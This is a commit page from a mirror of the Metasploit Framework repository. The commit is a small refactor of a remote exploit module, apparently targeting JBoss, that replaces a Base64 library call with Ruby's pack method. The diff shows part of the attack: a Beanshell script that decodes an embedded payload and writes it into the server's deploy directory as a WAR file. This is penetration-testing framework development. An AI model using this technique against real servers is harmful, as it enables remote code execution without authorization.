mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
use pack instead of Base64
git-svn-id: file:///home/svn/framework3/trunk@9569 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
4ceb936533
commit
19742afb38
@ -10,7 +10,6 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'base64'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
@ -97,11 +96,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# The following Beanshell script will write the exploded WAR file to the deploy/
|
||||
# directory
|
||||
encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
|
||||
bsh_script = <<-EOT
|
||||
import java.io.FileOutputStream;
|
||||
import sun.misc.BASE64Decoder;
|
||||
|
||||
String val = "#{Base64.encode64(p.encoded).gsub(/\n/, '')}";
|
||||
String val = "#{encoded_payload}";
|
||||
|
||||
BASE64Decoder decoder = new BASE64Decoder();
|
||||
String jboss_home = System.getProperty("jboss.server.home.dir");
|
||||
|
Loading…
Reference in New Issue
Block a user